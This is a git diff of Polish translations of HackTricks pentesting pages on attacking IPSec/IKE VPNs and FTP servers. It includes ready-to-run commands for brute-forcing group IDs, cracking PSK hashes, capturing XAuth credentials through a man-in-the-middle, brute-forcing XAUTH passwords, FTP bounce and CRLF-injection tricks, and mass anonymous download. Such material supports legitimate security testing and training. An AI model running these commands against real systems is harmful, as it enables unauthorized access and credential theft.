Aby móc przechwycić skrót, potrzebujesz poprawnej transformacji obsługującej tryb Agresywny oraz poprawne ID (nazwę grupy). Prawdopodobnie nie będziesz znać poprawnej nazwy grupy, dlatego będziesz musiał ją przeprowadzić metodą brutalnej siły.\
|
||||
Aby to zrobić, polecam Ci 2 metody:
|
||||
|
||||
### Próba przełamania ID za pomocą ike-scan
|
||||
### Przeprowadzanie ataku siłowego na ID za pomocą ike-scan
|
||||
|
||||
Po pierwsze, spróbuj złożyć żądanie z fałszywym ID, próbując zgromadzić skrót ("-P"):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
Jeśli **nie zostanie zwrócony żaden skrót**, to prawdopodobnie ta metoda ataku brute force zadziała. **Jeśli zostanie zwrócony jakiś skrót, oznacza to, że fałszywy skrót zostanie wysłany z powrotem dla fałszywego ID, więc ta metoda nie będzie niezawodna** do ataku brute-force na ID. Na przykład, może zostać zwrócony fałszywy skrót (co się zdarza w nowoczesnych wersjach):
|
||||
Jeśli **nie zostanie zwrócony żaden skrót**, to prawdopodobnie ta metoda ataku brute force zadziała. **Jeśli zostanie zwrócony jakiś skrót, oznacza to, że dla fałszywego ID zostanie wysłany fałszywy skrót, więc ta metoda nie będzie niezawodna** do ataku brute-force na ID. Na przykład, może zostać zwrócony fałszywy skrót (co zdarza się w nowoczesnych wersjach):
|
||||
|
||||
![](<../.gitbook/assets/image (110).png>)
|
||||
|
||||
Ale jeśli, jak powiedziałem, nie zostanie zwrócony żaden skrót, powinieneś spróbować ataku brute-force na powszechne nazwy grup za pomocą ike-scan.
|
||||
Ale jeśli, jak już wspomniałem, nie zostanie zwrócony żaden skrót, powinieneś spróbować ataku brute-force na powszechne nazwy grup za pomocą ike-scan.
|
||||
|
||||
Ten skrypt **spróbuje ataku brute-force na możliwe ID** i zwróci ID, dla których zostanie zwrócony poprawny handshake (będzie to poprawna nazwa grupy).
|
||||
|
||||
Jeśli odkryłeś określoną transformację, dodaj ją w poleceniu ike-scan. A jeśli odkryłeś kilka transformacji, śmiało dodaj nową pętlę, aby spróbować ich wszystkich (powinieneś je wypróbować wszystkie, dopóki jedna z nich nie będzie działać poprawnie).
|
||||
Jeśli odkryłeś określoną transformację, dodaj ją w poleceniu ike-scan. A jeśli odkryłeś kilka transformacji, śmiało dodaj nową pętlę, aby spróbować ich wszystkich (powinieneś je wypróbować wszystkie, dopóki jedna z nich nie zadziała poprawnie).
|
||||
|
||||
Możesz użyć [słownika ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) lub [tego w seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) z powszechnymi nazwami grup do ataku brute-force na nie:
|
||||
Możesz użyć [słownika ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) lub [tego z seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) z powszechnymi nazwami grup do ataku brute-force na nie.
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
### Bruteforcing ID with Iker
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) używa również **ike-scan** do przeprowadzania ataku brutalnej siły na możliwe nazwy grup. Podąża za własną metodą, aby **znaleźć prawidłowe ID na podstawie wyniku ike-scan**.
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) używa również **ike-scan** do przeprowadzenia ataku brutalnej siły na możliwe nazwy grup. Podąża za własną metodą, aby **znaleźć prawidłowe ID na podstawie wyników ike-scan**.
|
||||
|
||||
### Bruteforcing ID with ikeforce
|
||||
|
||||
|
@ -159,11 +158,11 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
|
|||
|
||||
Domyślnie **ikeforce** na początku wyśle kilka losowych id, aby sprawdzić zachowanie serwera i określić taktykę do użycia.
|
||||
|
||||
* **Pierwsza metoda** polega na brutalnym ataku na nazwy grup poprzez **szukanie** informacji **Dead Peer Detection DPD** systemów Cisco (te informacje są odtwarzane tylko przez serwer, jeśli nazwa grupy jest poprawna).
|
||||
* **Pierwsza metoda** polega na brutalnym ataku na nazwy grup poprzez **wyszukiwanie** informacji **Dead Peer Detection DPD** systemów Cisco (ta informacja jest odtwarzana tylko przez serwer, jeśli nazwa grupy jest poprawna).
|
||||
* **Druga dostępna metoda** polega na **sprawdzaniu liczby odpowiedzi wysłanych do każdej próby**, ponieważ czasami wysyłane jest więcej pakietów, gdy użyte jest poprawne id.
|
||||
* **Trzecia metoda** polega na **szukaniu "INVALID-ID-INFORMATION" w odpowiedzi na nieprawidłowe ID**.
|
||||
* **Trzecia metoda** polega na **wyszukiwaniu "INVALID-ID-INFORMATION" w odpowiedzi na nieprawidłowe ID**.
|
||||
* Wreszcie, jeśli serwer nie odpowiada na żadne sprawdzenia, **ikeforce** spróbuje przeprowadzić brutalny atak na serwer i sprawdzić, czy po wysłaniu poprawnego id serwer odpowiada jakimś pakietem.\
|
||||
Oczywiście celem brutalnego ataku na id jest uzyskanie **PSK** po uzyskaniu prawidłowego id. Następnie, mając **id** i **PSK**, będziesz musiał przeprowadzić brutalny atak na XAUTH (jeśli jest włączony).
|
||||
Oczywiście celem brutalnego ataku na id jest uzyskanie **PSK** po uzyskaniu prawidłowego id. Następnie, z **id** i **PSK** będziesz musiał przeprowadzić brutalny atak na XAUTH (jeśli jest włączony).
|
||||
|
||||
Jeśli odkryłeś określoną transformację, dodaj ją w poleceniu ikeforce. A jeśli odkryłeś kilka transformacji, śmiało dodaj nową pętlę, aby spróbować ich wszystkich (powinieneś je wszystkie wypróbować, aż jedna z nich będzie działać poprawnie).
|
||||
```bash
|
||||
|
@ -182,7 +181,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
|
||||
## Przechwytywanie i łamanie hasha
|
||||
|
||||
Wreszcie, jeśli znalazłeś **prawidłową transformację** i **nazwę grupy** oraz jeśli **tryb agresywny jest dozwolony**, wtedy możesz bardzo łatwo przechwycić hasha do złamania:
|
||||
Wreszcie, jeśli znalazłeś **prawidłową transformację** i **nazwę grupy**, oraz jeśli **tryb agresywny jest dozwolony**, wtedy możesz bardzo łatwo przechwycić hasha, który można złamać:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
|
@ -194,20 +193,24 @@ psk-crack -d <Wordlist_path> psk.txt
|
|||
```
|
||||
## **XAuth**
|
||||
|
||||
**Tryb Agresywny IKE** w połączeniu z **Współdzielonym Kluczem (PSK)** jest powszechnie stosowany do celów **uwierzytelniania grupowego**. Ta metoda jest wzmocniona przez **XAuth (Rozszerzone Uwierzytelnianie)**, które wprowadza dodatkową warstwę **uwierzytelniania użytkownika**. Takie uwierzytelnianie zazwyczaj korzysta z usług takich jak **Microsoft Active Directory**, **RADIUS** lub podobnych systemów.
|
||||
**Tryb agresywny IKE** w połączeniu z **kluczem wstępnym (PSK)** jest powszechnie stosowany do celów **uwierzytelniania grupowego**. Metoda ta jest wzmocniona przez **XAuth (Rozszerzona Autentykacja)**, która wprowadza dodatkową warstwę **uwierzytelniania użytkownika**. Takie uwierzytelnianie zazwyczaj korzysta z usług takich jak **Microsoft Active Directory**, **RADIUS** lub podobne systemy.
|
||||
|
||||
Przy przejściu do **IKEv2** obserwuje się znaczącą zmianę, gdzie zamiast **XAuth** wykorzystywany jest **EAP (Protokół Rozszerzalnego Uwierzytelniania)** do uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach protokołów bezpiecznej komunikacji.
|
||||
Przy przejściu do **IKEv2** obserwuje się znaczącą zmianę, gdzie zamiast **XAuth** wykorzystywany jest **EAP (Protokół Rozszerzonej Autentykacji)** do uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach protokołów bezpiecznej komunikacji.
|
||||
|
||||
|
||||
### Man in the Middle w lokalnej sieci w celu przechwycenia poświadczeń
|
||||
|
||||
Możesz przechwycić dane logowania za pomocą _fiked_ i sprawdzić, czy istnieje domyślna nazwa użytkownika (Musisz przekierować ruch IKE do `fiked` w celu podsłuchiwania, co można zrobić za pomocą podszywania ARP, [więcej informacji](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked będzie działać jako punkt końcowy VPN i przechwyci poświadczenia XAuth:
|
||||
Możesz przechwycić dane logowania za pomocą _fiked_ i sprawdzić, czy istnieje domyślna nazwa użytkownika (Musisz przekierować ruch IKE do `fiked` w celu podsłuchiwania, co można zrobić za pomocą ARP spoofing, [więcej informacji](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked będzie działać jako punkt końcowy VPN i przechwyci poświadczenia XAuth:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
### Próba siłowego przełamania nazwy użytkownika i hasła XAUTH za pomocą ikeforce
|
||||
### Próba ataku typu MitM i zablokowanie ruchu na porcie 500 przy użyciu IPSec
|
||||
|
||||
Aby siłowo przełamać **XAUTH** (gdy znasz poprawną nazwę grupy **id** i **psk**), możesz użyć nazwy użytkownika lub listy nazw użytkowników oraz listy haseł:
|
||||
Aby przeprowadzić atak typu MitM i zablokować cały ruch na porcie 500, można skorzystać z IPSec. Jeśli tunel IPSec nie może zostać ustanowiony, możliwe jest, że ruch zostanie wysłany w formie niezaszyfrowanej.
|
||||
|
||||
### Bruteforce'owanie nazwy użytkownika i hasła XAUTH za pomocą ikeforce
|
||||
|
||||
Aby przeprowadzić atak **brute force** na **XAUTH** (gdy znasz poprawną nazwę grupy **id** i **psk**), możesz użyć nazwy użytkownika lub listy nazw użytkowników oraz listy haseł:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
|
@ -215,11 +218,11 @@ W ten sposób ikeforce będzie próbował połączyć się, używając każdej k
|
|||
|
||||
Jeśli znalazłeś jeden lub kilka prawidłowych transformacji, po prostu użyj ich jak w poprzednich krokach.
|
||||
|
||||
## Autoryzacja z VPN IPSEC
|
||||
## Autoryzacja za pomocą VPN IPSEC
|
||||
|
||||
W Kali, **VPNC** jest wykorzystywany do nawiązywania tuneli IPsec. **Profile** muszą być umieszczone w katalogu `/etc/vpnc/`. Możesz uruchomić te profile, używając polecenia _**vpnc**_.
|
||||
W Kali, **VPNC** jest wykorzystywany do ustanawiania tuneli IPsec. **Profile** muszą być umieszczone w katalogu `/etc/vpnc/`. Możesz uruchomić te profile, używając polecenia _**vpnc**_.
|
||||
|
||||
Poniższe polecenia i konfiguracje ilustrują proces ustawiania połączenia VPN za pomocą VPNC:
|
||||
Poniższe polecenia i konfiguracje obrazują proces konfigurowania połączenia VPN za pomocą VPNC:
|
||||
```bash
|
||||
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
||||
IPSec gateway [VPN_GATEWAY_IP]
|
||||
|
@ -235,10 +238,10 @@ root@system:~# ifconfig tun0
|
|||
```
|
||||
W tej konfiguracji:
|
||||
|
||||
- Zastąp `[VPN_GATEWAY_IP]` rzeczywistym adresem IP bramy VPN.
|
||||
- Zastąp `[VPN_CONNECTION_ID]` identyfikatorem połączenia VPN.
|
||||
- Zastąp `[VPN_GROUP_SECRET]` sekretem grupy VPN.
|
||||
- Zastąp `[VPN_USERNAME]` i `[VPN_PASSWORD]` danymi uwierzytelniającymi VPN.
|
||||
- Zamień `[VPN_GATEWAY_IP]` na rzeczywisty adres IP bramy VPN.
|
||||
- Zamień `[VPN_CONNECTION_ID]` na identyfikator połączenia VPN.
|
||||
- Zamień `[VPN_GROUP_SECRET]` na sekret grupy VPN.
|
||||
- Zamień `[VPN_USERNAME]` i `[VPN_PASSWORD]` na poświadczenia uwierzytelniające VPN.
|
||||
- `[PID]` symbolizuje identyfikator procesu, który zostanie przypisany podczas inicjowania `vpnc`.
|
||||
|
||||
Upewnij się, że podczas konfigurowania VPN używasz rzeczywistych, bezpiecznych wartości do zastąpienia zmiennych.
|
||||
|
@ -256,7 +259,7 @@ Upewnij się, że podczas konfigurowania VPN używasz rzeczywistych, bezpiecznyc
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -267,7 +270,7 @@ Upewnij się, że podczas konfigurowania VPN używasz rzeczywistych, bezpiecznyc
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -23,7 +23,7 @@
|
|||
## Podstawowe informacje
|
||||
|
||||
**Protokół transferu plików (FTP)** służy jako standardowy protokół do transferu plików w sieci komputerowej między serwerem a klientem.\
|
||||
Jest to protokół **czystego tekstu**, który używa **znaku nowej linii `0x0d 0x0a`**, dlatego czasami musisz **połączyć się za pomocą `telnet`** lub **`nc -C`**.
|
||||
Jest to **protokół tekstowy**, który używa jako **znaku nowej linii `0x0d 0x0a`**, dlatego czasami musisz **połączyć się za pomocą `telnet`** lub **`nc -C`**.
|
||||
|
||||
**Domyślny port:** 21
|
||||
```
|
||||
|
@ -32,11 +32,11 @@ PORT STATE SERVICE
|
|||
```
|
||||
### Połączenia aktywne i pasywne
|
||||
|
||||
W **Aktywnym FTP** klient FTP najpierw **inicjuje** połączenie kontrolne z portu N do portu komend serwera FTP - port 21. Klient następnie **nasłuchuje** na porcie **N+1** i wysyła port N+1 do serwera FTP. Serwer FTP następnie **inicjuje** połączenie danych z **swojego portu M do portu N+1** klienta FTP.
|
||||
W **Aktywnym FTP** klient FTP najpierw **inicjuje** połączenie kontrolne z portu N do portu komend serwera FTP - port 21. Klient następnie **nasłuchuje** na porcie **N+1** i wysyła port N+1 do serwera FTP. Serwer FTP następnie **inicjuje** połączenie danych z **jego portu M do portu N+1** klienta FTP.
|
||||
|
||||
Jednak jeśli klient FTP ma ustawiony firewall kontrolujący przychodzące połączenia danych z zewnątrz, aktywny FTP może stanowić problem. Rozwiązaniem tego problemu jest pasywny FTP.
|
||||
|
||||
W **Pasywnym FTP** klient inicjuje połączenie kontrolne z portu N do portu 21 serwera FTP. Następnie klient wysyła polecenie **passv**. Serwer następnie wysyła klientowi jeden ze swoich numerów portu M. Klient następnie **inicjuje** połączenie danych z **swojego portu P do portu M** serwera FTP.
|
||||
W **Pasywnym FTP** klient inicjuje połączenie kontrolne z portu N do portu 21 serwera FTP. Następnie klient wysyła polecenie **passv**. Serwer następnie wysyła klientowi jeden ze swoich numerów portu M. Klient następnie **inicjuje** połączenie danych z **jego portu P do portu M** serwera FTP.
|
||||
|
||||
Źródło: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
|
@ -117,30 +117,30 @@ ftp <IP>
|
|||
>ascii #Set transmission to ascii instead of binary
|
||||
>bye #exit
|
||||
```
|
||||
### [Atak brutalnej siły](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||
### [Atak siłowy](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||
|
||||
Tutaj znajdziesz fajną listę domyślnych poświadczeń ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
|
||||
### Zautomatyzowane
|
||||
|
||||
Testy anonimowego logowania i odbicia FTP są domyślnie wykonywane przez nmap z opcją **-sC** lub:
|
||||
Anonimowe logowanie i testy odbicia FTP są domyślnie wykonywane przez nmap z opcją **-sC** lub:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
## Połączenie przeglądarki
|
||||
|
||||
Możesz połączyć się z serwerem FTP za pomocą przeglądarki (np. Firefox) używając adresu URL:
|
||||
Możesz połączyć się z serwerem FTP za pomocą przeglądarki (np. Firefox) za pomocą adresu URL:
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Zauważ, że jeśli **aplikacja internetowa** przesyła dane kontrolowane przez użytkownika **bezpośrednio do serwera FTP**, możesz wysłać podwójne kodowanie URL `%0d%0a` (w podwójnym kodowaniu URL to `%250d%250a`) bajtów i sprawić, że **serwer FTP wykona dowolne akcje**. Jedną z możliwych dowolnych akcji jest pobranie zawartości z serwera kontrolowanego przez użytkownika, przeprowadzenie skanowania portów lub próba komunikacji z innymi usługami opartymi na tekście oczyszczonym (np. http).
|
||||
Zauważ, że jeśli **aplikacja internetowa** wysyła dane kontrolowane przez użytkownika **bezpośrednio do serwera FTP**, możesz wysłać podwójne kodowanie URL `%0d%0a` (w podwójnym kodowaniu URL to `%250d%250a`) bajtów i sprawić, że **serwer FTP wykona dowolne akcje**. Jedną z możliwych dowolnych akcji jest pobranie zawartości z serwera kontrolowanego przez użytkownika, przeprowadzenie skanowania portów lub próba komunikacji z innymi usługami opartymi na tekście oczyszczonym (np. http).
|
||||
|
||||
## Pobierz wszystkie pliki z FTP
|
||||
```bash
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
Jeśli Twój użytkownik/hasło zawiera znaki specjalne, można użyć [następującej komendy](https://stackoverflow.com/a/113900/13647948):
|
||||
Jeśli twój użytkownik/hasło zawiera znaki specjalne, można użyć [następującej komendy](https://stackoverflow.com/a/113900/13647948):
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
|
@ -150,15 +150,15 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
* **`PASS hasło`**
|
||||
* **`HELP`** Serwer wskazuje, które polecenia są obsługiwane
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\*To spowoduje, że serwer FTP nawiąże połączenie z adresem IP 127.0.0.1 na porcie 80 (_musisz ustawić 5. znak jako "0" i 6. jako numer portu w systemie dziesiętnym lub użyć 5. i 6. znaku, aby wyrazić port w systemie szesnastkowym_).
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Spowoduje, że serwer FTP nawiąże połączenie TCP (_oznaczone jako "2"_) z adresem IP 127.0.0.1 na porcie 80. To polecenie **obsługuje IPv6**.
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Spowoduje to, że serwer FTP nawiąże połączenie TCP (_oznaczone jako "2"_) z adresem IP 127.0.0.1 na porcie 80. To polecenie **obsługuje IPv6**.
|
||||
* **`LIST`** Wyśle listę plików w bieżącym katalogu
|
||||
* **`LIST -R`** Lista plików rekursywnie (jeśli serwer zezwala)
|
||||
* **`APPE /ścieżka/coś.txt`** Spowoduje, że FTP zapisze otrzymane dane z **połączenia pasywnego** lub z połączenia **PORT/EPRT** do pliku. Jeśli nazwa pliku istnieje, dane zostaną do niego dołączone.
|
||||
* **`APPE /ścieżka/coś.txt`** Spowoduje, że FTP zapisze otrzymane dane z połączenia **pasywnego** lub z połączenia **PORT/EPRT** do pliku. Jeśli nazwa pliku istnieje, dane zostaną do niego dołączone.
|
||||
* **`STOR /ścieżka/coś.txt`** Podobne do `APPE`, ale nadpisze pliki
|
||||
* **`STOU /ścieżka/coś.txt`** Podobne do `APPE`, ale jeśli plik istnieje, nie zrobi nic.
|
||||
* **`RETR /ścieżka/do/pliku`** Należy nawiązać połączenie pasywne lub portowe. Następnie serwer FTP wyśle wskazany plik przez to połączenie
|
||||
* **`REST 6`** Spowoduje, że serwer następnym razem, gdy wyśle coś za pomocą `RETR`, rozpocznie od 6. bajtu.
|
||||
* **`TYPE i`** Ustawia tryb transferu na binarny
|
||||
* **`TYPE i`** Ustawia transfer na binarny
|
||||
* **`PASV`** Otwiera połączenie pasywne i wskaże użytkownikowi, gdzie może się połączyć
|
||||
* **`PUT /tmp/plik.txt`** Wysyła wskazany plik na serwer FTP
|
||||
|
||||
|
@ -178,7 +178,7 @@ Teoria jest prosta:
|
|||
3. **Użyj `PORT`, aby połączyć się z dowolnym serwerem i usługą**
|
||||
4. **Użyj `RETR`, aby wysłać zapisane żądanie do serwera.**
|
||||
|
||||
Prawdopodobnie pojawi się błąd jak **_Socket not writable_**, **ponieważ połączenie nie trwa wystarczająco długo, aby wysłać dane za pomocą `RETR`**. Sugerowane sposoby próby uniknięcia tego to:
|
||||
Prawdopodobnie pojawi się błąd jak **_Socket not writable_**, ponieważ połączenie nie trwa wystarczająco długo, aby wysłać dane za pomocą `RETR`. Sugerowane sposoby próby uniknięcia tego to:
|
||||
|
||||
* Jeśli wysyłasz żądanie HTTP, **wysyłaj to samo żądanie jeden po drugim** do przynajmniej **\~0,5 MB**. Na przykład:
|
||||
|
||||
|
@ -186,14 +186,14 @@ Prawdopodobnie pojawi się błąd jak **_Socket not writable_**, **ponieważ po
|
|||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
* Spróbuj **wypełnić żądanie "śmieciami" związanymi z protokołem** (w przypadku FTP może to być po prostu losowe polecenia lub powtarzanie instrukcji `RETR` do pobrania pliku)
|
||||
* Spróbuj **wypełnić żądanie "śmieciami" związanymi z protokołem** (np. w przypadku FTP może to być polecenia "śmieciowe" lub powtarzanie instrukcji `RETR` do pobrania pliku)
|
||||
* Po prostu **wypełnij żądanie dużą ilością znaków null lub innych** (podzielonych na linie lub nie)
|
||||
|
||||
W każdym razie, tutaj masz [stary przykład, jak wykorzystać to, aby sprawić, że serwer FTP pobierze plik z innego serwera FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
W każdym razie, tutaj masz [stare przykłady, jak wykorzystać to, aby sprawić, że serwer FTP pobierze plik z innego serwera FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Luka w zabezpieczeniach serwera Filezilla
|
||||
|
||||
**FileZilla** zazwyczaj **łączy się** z **usługą administracyjną** dla **FileZilla-Server** (port 14147). Jeśli możesz **utworzyć tunel** z **twojego komputera**, aby uzyskać dostęp do tego portu, możesz się do niego **połączyć** z **pustym hasłem** i **utworzyć** nowego **użytkownika** dla usługi FTP.
|
||||
**FileZilla** zazwyczaj **łączy się** z **usługą administracyjną** dla **FileZilla-Server** (port 14147). Jeśli możesz utworzyć **tunel** z **twojego urządzenia** do dostępu do tego portu, możesz się do **niego podłączyć** używając **pustego hasła** i **utworzyć** nowego użytkownika dla usługi FTP.
|
||||
|
||||
## Pliki konfiguracyjne
|
||||
```
|
||||
|
@ -202,19 +202,19 @@ ftp.conf
|
|||
proftpd.conf
|
||||
vsftpd.conf
|
||||
```
|
||||
### Post-Eksploatacja
|
||||
### Post-Exploitation
|
||||
|
||||
Domyślna konfiguracja vsFTPd można znaleźć w `/etc/vsftpd.conf`. Tutaj można znaleźć niebezpieczne ustawienia:
|
||||
Domyślna konfiguracja vsFTPd można znaleźć w `/etc/vsftpd.conf`. Tutaj można znaleźć niektóre niebezpieczne ustawienia:
|
||||
|
||||
* `anonymous_enable=YES`
|
||||
* `anon_upload_enable=YES`
|
||||
* `anon_mkdir_write_enable=YES`
|
||||
* `anon_root=/home/username/ftp` - Katalog dla anonimowych.
|
||||
* `chown_uploads=YES` - Zmiana właściciela anonimowo przesłanych plików
|
||||
* `chown_username=username` - Użytkownik, który otrzymuje własność anonimowo przesłanych plików
|
||||
* `chown_username=username` - Użytkownik, który otrzymuje właściciela anonimowo przesłanych plików
|
||||
* `local_enable=YES` - Włącz logowanie lokalnych użytkowników
|
||||
* `no_anon_password=YES` - Nie pytaj anonimowych o hasło
|
||||
* `write_enable=YES` - Pozwala na polecenia: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE i SITE
|
||||
* `no_anon_password=YES` - Nie pytaj anonimowego o hasło
|
||||
* `write_enable=YES` - Pozwól na polecenia: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, i SITE
|
||||
|
||||
### Shodan
|
||||
|
||||
|
@ -225,13 +225,13 @@ Domyślna konfiguracja vsFTPd można znaleźć w `/etc/vsftpd.conf`. Tutaj możn
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatyczne Komendy
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: FTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 21 #Comma separated if there is more than one.
|
||||
|
@ -287,7 +287,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
|
|||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
